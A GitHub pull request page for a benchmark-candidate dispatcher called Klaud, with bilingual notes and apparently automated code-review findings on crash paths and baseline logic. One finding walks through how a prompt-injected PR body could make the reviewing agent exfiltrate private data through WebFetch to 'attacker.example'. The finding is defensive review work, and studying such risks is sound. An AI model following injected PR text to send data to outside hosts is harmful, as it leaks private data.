fix(klaud): harden candidate dispatch and recovery / 加固 Klaud 候选调度与恢复 - #3235
Conversation
让 Klaud 仅将公开 API 用作 benchmark 基线，并独立核实上游镜像；所有失败候选统一关闭、删除分支并释放配置族。
在调度前验证完整公开基线，限制检查批次并对近期候选进行软排序。每次 agent 结束后执行可信收尾，保留脱敏诊断，并为临时 API 故障增加有界重试。
adibarra
changed the title
要求性能变更日志使用一句简短英文，仅记录镜像版本变化和必要的兼容性调整；详细证据保留在尝试评论中。
优先使用已经生命周期验证的终态文件，明确 StructuredOutput 交接，并让终态基线分类立即结束。
|
Claude finished @adibarra's task in 3m 50s —— View job Review of PR #3235
SummaryNo blocking issues found. Two 🟡 warnings posted inline, both new
Checked and found consistent: the Validation note: I could not execute |
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
| match | ||
| and not artifact.get("expired", True) | ||
| and recent | ||
| and artifact.get("workflow_run", {}).get("head_sha") == base |
There was a problem hiding this comment.
🟡 WARNING: artifact.get("workflow_run", {}).get("head_sha") raises AttributeError when GitHub returns "workflow_run": null (the artifact schema declares workflow_run as nullable). This line sits outside the try above it, and AttributeError is not in the handler list in main(), so a single such artifact in the 100-item inventory aborts the whole plan step with a raw traceback instead of degrading to "no cooldown" as the docstring promises.
Why it matters: The cooldown is documented as a soft ordering hint that must never block planning, but this makes one malformed/nullable artifact row a hard planner failure.
Fix:
| and artifact.get("workflow_run", {}).get("head_sha") == base | |
| and ((artifact.get("workflow_run") or {}).get("head_sha") == base) |
| if any( | ||
| row.get(key) != context["source"][key] | ||
| ( | ||
| normalized_image(row.get(key, "")) != normalized_image(context["source"][key]) |
There was a problem hiding this comment.
🟡 WARNING: normalized_image(row.get(key, "")) calls .partition on whatever the public /api/v1/benchmarks row holds for image. Unlike the images feed, benchmark rows are not validated through PublicRow, so a null (or non-string) image raises AttributeError. The old code (row.get(key) != context["source"][key]) was safe here. resolve_baseline is now also called from select, whose handlers catch VerificationError/ReadError/ValueError/TypeError but not AttributeError, so this would crash the planner's select step rather than producing baseline-deferred or baseline-state-unavailable. Note observation_key in __main__.py already guards the same call with isinstance(image, str).
Fix:
| normalized_image(row.get(key, "")) != normalized_image(context["source"][key]) | |
| ( | |
| isinstance(row.get(key), str) | |
| and normalized_image(row[key]) == normalized_image(context["source"][key]) | |
| ) | |
| is False |
(or equivalently: skip the row unless image is a string, then compare normalized values).
There was a problem hiding this comment.
Findings marked 🟡 are optional suggestions and need no follow-up push.
Additional findings (outside the current diff — GitHub can't attach inline comments there):
-
🔴
infx/klaud/reporting.py— Baseline resolution for nvcr.io/enroot-style images (config formatregistry#repo:tag) silently drops legitimate historical baseline points, so the reported baseline understates the family's real published history. resolve_baseline normalizes the image gate and per-row feed filter with normalized_image (reporting.py:852, 868), but the backfill at reporting.py:928,if point["image"] == old_image, is still a raw compare and never matches when the config keeps the enroot#separator while old_image is the feed's/form. Fix: normalize both sides of the line 928 comparison too, matching the other two checks in this function.Extended reasoning...
canonical_matrix(repository, head, family, historical=True) reads the raw config image field verbatim, e.g. nvcr.io#nvidia/tensorrt-llm/release:1.3.0rc14 (enroot's registry#repo syntax used by CI to pull the image, see .github/workflows/claude.yml enroot import docker://$IMAGE). context['source']['image'] is the public feed's own reported image in normalized nvcr.io/nvidia/... form; they differ only by separator. reporting.py:852 (top-level image gate) and :868 (per-row feed filter) both call normalized_image on both sides, so they correctly pass for TRT-LLM/ai-dynamo candidates. reporting.py:928's entries.update(... if point['image'] == old_image) was never updated and stays a raw compare, so it is always False for any '#'-style image. Historical points present at the origin head but absent from the current matrix are therefore never re-added to entries, so they never appear in baseline.points, and no VerificationError is raised — the baseline silently omits real historical points for exactly the image family this same commit was written to support.
Verification: normal. This PR converts the two sibling image comparisons in resolve_baseline to normalized form (reporting.py:852
normalized_image(entry["image"]) != normalized_image(old_image), and reporting.py:868 for the per-row feed filter) but leaves the backfill filter at reporting.py:928 as a raw compare:for point in historical[head] if point["image"] == old_image. The two operands are in…
| --max-turns 500 | ||
| --add-dir '${{ runner.temp }}/klaud' | ||
| --allowedTools "Read,Glob,Grep,Bash(gh pr list:*),Bash(gh pr view:*),Bash(gh pr diff:*),Bash(gh api --method GET:*),Bash(git show:*),Bash(git diff:*),Bash(git status:*),Bash(git log:*),Bash(git ls-tree:*)" | ||
| --allowedTools "Read,Glob,Grep,WebFetch,Bash(gh pr list:*),Bash(gh pr view:*),Bash(gh pr diff:*),Bash(gh api --method GET:*),Bash(git show:*),Bash(git diff:*),Bash(git status:*),Bash(git log:*),Bash(git ls-tree:*)" |
There was a problem hiding this comment.
🔴 The overlap-review Claude step now gets WebFetch in --allowedTools, letting the model fetch any URL while it reads attacker-controlled PR titles/bodies/diffs (gh pr view/diff on arbitrary open PRs) and has capacity.json's telemetry-cluster data in context (the prompt itself calls this "private eligibility data"). A prompt-injected PR body can instruct the agent to encode that private data into a URL and call WebFetch to an attacker host, exfiltrating it. Fix: keep this read-only review step to Read/Glob/Grep/Bash(gh/git ...) as before, or restrict WebFetch to an explicit allow-listed domain set, so no free-form outbound fetch is reachable from a step that ingests untrusted PR content.
Extended reasoning...
Step 'Check for overlapping open PRs' in klaud-plan.yml runs anthropics/claude-code-action with --allowedTools including WebFetch (line 88), which the base branch's version of this line did not include. The prompt tells the model to read every open PR's body/diff via gh pr view/diff for duplicate-detection, including arbitrary branches from external contributors. Those PR bodies are untrusted text the model treats as data but an injected instruction can override that. The model's context also holds capacity.json (eligible-telemetry-clusters), which the same prompt flags as private ('Never copy private eligibility data into reasons or reports') showing the authors know it is sensitive. Because WebFetch can hit any attacker-controlled URL, a malicious PR description can instruct the model to GET https://attacker.example/?data=, leaking private cluster capacity outside the run with no code-level guard against it. continue-on-error: true on this step also means such a run doesn't even fail the workflow, so it can go unnoticed.
Verification: normal (security-relevant, introduced by this change). Line 88 of klaud-plan.yml now adds WebFetch to --allowedTools for the "Check for overlapping open PRs" step; the base version of this exact line had Read,Glob,Grep,Bash(gh pr list:*),Bash(gh pr view:*),Bash(gh pr diff:*),Bash(gh api --method GET:*),Bash(git show:*),... with NO WebFetch. The three ingredients of an exfiltration chain…
| for row in feed.payload: | ||
| # Do not filter ISL/OSL here: that would erase other curves in the original family. | ||
| if any( | ||
| row.get(key) != context["source"][key] | ||
| ( | ||
| normalized_image(row.get(key, "")) != normalized_image(context["source"][key]) | ||
| if key == "image" | ||
| else row.get(key) != context["source"][key] | ||
| ) |
There was a problem hiding this comment.
🔴 resolve_baseline() can crash with an unhandled AttributeError instead of the intended graceful deferral/failure when a public benchmarks-feed row has image: null, aborting the whole select batch or the candidate's own prepare-baseline run instead of just skipping that row. row.get(key, "") at reporting.py:868 only substitutes the default when the key is absent; a present-but-null image returns None, and normalized_image(None) calls None.partition("#") (models.py:34), raising. The sibling columns (model, hardware, framework, precision, spec_method, disagg) still use plain row.get(key) != ..., which tolerates None like the base branch's equality check for image used to. …
Extended reasoning...
…Fix: make normalized_image tolerate non-str/None (e.g. treat row.get(key) or ""), so a null image degrades to a normal non-match instead of an unhandled exception.
resolve_baseline() is called both from select() (planner preflight, main.py) and from prepare_baseline() during the candidate agent's own prepare-baseline command. Both call sites only catch VerificationError/OSError/ValueError/KeyError/TypeError/subprocess.SubprocessError/ReadError (select()'s except clauses and main()'s outer except); AttributeError is not among them. fetch("benchmarks", ...) returns feed.payload as raw json.loads() output with no PublicRow/shape validation (only the images and releases resources get validated in api.fetch()). The loop for row in feed.payload: at reporting.py:864 iterates these untrusted external rows. When key == "image", line 868 evaluates normalized_image(row.get(key, "")) != normalized_image(context["source"][key]). If the API ever returns a benchmark record with the key present but its value JSON null, .get("image", "") returns None (the default only…
Verification: normal. This PR introduces a new uncaught-exception crash on the untrusted public benchmarks feed. Base behavior (no crash): the pre-diff code read every key uniformly row.get(key) != context["source"][key], so a row with image:null gives None != <str> → True → row skipped (continue), no crash. New code (reporting.py:866-881) special-cases image: `normalized_image(row.get(key, "")) !=…
| try: | ||
| resolve_baseline( | ||
| os.environ["GITHUB_REPOSITORY"], | ||
| owned, | ||
| candidate, | ||
| decision.baseline_model, | ||
| Prose( | ||
| en="Verify the complete published baseline before candidate dispatch.", | ||
| zh="在调度候选任务前验证完整的已发布基线。", | ||
| ), | ||
| ) | ||
| except VerificationError: | ||
| baseline_deferred.append(candidate["id"]) | ||
| families.add(decision.family) | ||
| continue | ||
| except (OSError, ValueError, KeyError, TypeError, subprocess.SubprocessError, ReadError): | ||
| deferred = "baseline-state-unavailable" | ||
| break |
There was a problem hiding this comment.
🔴 Selection can drop every proceed candidate in a run, not just the failing one. In select() (main.py:572-589), if resolve_baseline() raises anything but VerificationError -- e.g. a transient GitHub API error from canonical_matrix's github.read calls, which are not retried -- the code sets deferred and breaks the whole loop instead of skipping only that candidate. The base branch never called resolve_baseline from select(), so one transient hiccup could not zero out a scheduled run's dispatch. Fix: treat it like VerificationError, deferring only that candidate id, so one candidate's transient read failure doesn't deny every other proceed candidate a slot that run.
Extended reasoning...
select() iterates contexts; for each proceed decision it calls resolve_baseline(repository, owned, candidate, decision.baseline_model, Prose(...)) at main.py:573. resolve_baseline (reporting.py) calls canonical_matrix(repository, candidate.base, candidate.family), which issues github.read/github.items with no retry, plus fetch('benchmarks')/fetch('workflow-info'), which retry transient errors internally but still raise ReadError once retries exhaust. Any of OSError/ValueError/KeyError/TypeError/subprocess.SubprocessError/ReadError can surface here from a transient GitHub 5xx, secondary rate limit, or malformed changelog entry unrelated to this candidate. select()'s except at main.py:587 catches it, sets deferred='baseline-state-unavailable', and breaks the for loop over contexts entirely. Every later proceed candidate in contexts is never evaluated, claimed, or added to selected this run: the run can dispatch 0 agents even though MAX_CANDIDATES_PER_RUN=5 slots and other healthy candidates were available. This repeats on the next scheduled plan run until the one failing…
Verification: normal. The mechanism is real and reachable. In select() the new baseline check at main.py:572-589 calls resolve_baseline for each proceed candidate. resolve_baseline (reporting.py:840,903) drives canonical_matrix -> github.read -> infx.github.api, where a transient gh failure surfaces as subprocess.CalledProcessError (github.py:60-61, re-raised because token is None),… | normal. This change…
| def recent_candidate_ids(repository: str, base: str, cooldown_hours: int) -> set[str]: | ||
| """Return same-base candidates recently given an agent, as a soft ordering hint.""" | ||
| try: | ||
| artifacts = github_read(repository, "actions/artifacts?per_page=100")["artifacts"] |
There was a problem hiding this comment.
🟡 (optional) Operators lose the new same-base cooldown because recent_candidate_ids() reads only the first 100 artifacts repo-wide, unfiltered by workflow and unpaginated. This monorepo's sweep/benchmark workflows upload artifacts continuously, so klaud-candidate-* entries fall out of that window well before cooldown_hours (up to 168h) elapses, silently re-enabling the repeat-candidate dispatch this PR aims to fix. Fix: scope the artifact lookup to klaud-candidate.yml's own runs, or paginate until the cutoff, so cooldown coverage does not depend on unrelated CI artifact volume.
Extended reasoning...
recent_candidate_ids() at main.py:159 calls github_read(repository, 'actions/artifacts?per_page=100') with no page loop and no workflow filter, sorted newest-first by the API. It matches names against 'klaud-candidate-([0-9a-f]{16}-[0-9a-f]{16})' and keeps only those whose created_at is within cooldown_hours and whose workflow_run.head_sha equals base. In this repo, run-sweep.yml, benchmark-tmpl.yml (7 upload-artifact steps), collect-results.yml, collect-evals.yml and collectivex-sweep.yml all upload artifacts on ordinary sweep/benchmark activity, independent of Klaud. Any burst of that unrelated activity can fill all 100 slots, evicting genuine klaud-candidate-* artifacts from the page before cooldown_hours elapses. plan() then treats those candidates as not-recent and leaves them in their normal sort order instead of moving them to the tail, so the same family/image pair selected minutes/hours earlier can be re-selected on the very next scheduled klaud-plan run.
Verification: nit. The technical claim holds: at main.py:159 github_read(repository, "actions/artifacts?per_page=100") routes through github.py read() whose default is paginate=False (github.py:18-19), so only the first 100 artifacts are fetched. The actions/artifacts endpoint is repo-wide and unfiltered by workflow, newest-first. This is a monorepo with many artifact-producing workflows… | nit.…
1 participant
Klaud was spending agent slots on candidates whose published baseline could not be reconstructed, repeating recent candidates, and turning verified terminal cleanup into workflow failures when the Claude action serialized its duplicate structured output incorrectly.
This change makes current master configs define the pool, reviews a bounded batch, deprioritizes recent same-base candidates, verifies the complete public baseline before dispatch, backfills skipped selections, retries transient API failures, and reconciles every agent exit. Diagnostics now prefer the lifecycle-verified
outcome.json; the prompt requires one exactStructuredOutputhandoff, stops after terminal resolve/baseline evidence, keeps performance changelogs concise, and uses a shorter reporting contract.Validation:
git diff --check: passedAI model disclosure
中文
Klaud 曾将 agent 名额用于无法重建完整公开基线的候选，重复选择近期候选，并在 Claude action 错误序列化重复结构化输出时，将已验证的终态清理误判为工作流失败。
本变更改为由当前主配置定义候选池，限制单次检查批次，对同一基准 SHA 的近期候选降序，在调度前验证完整公开基线，为跳过的选择补位，重试临时 API 故障，并在每次 agent 结束后执行收尾。诊断现在优先使用已通过生命周期验证的
outcome.json；prompt 要求一次精确的StructuredOutput交接，在 resolve/baseline 已有终态证据时立即结束，保持性能变更日志简洁，并缩短报告规则。验证：
git diff --check：通过AI 模型披露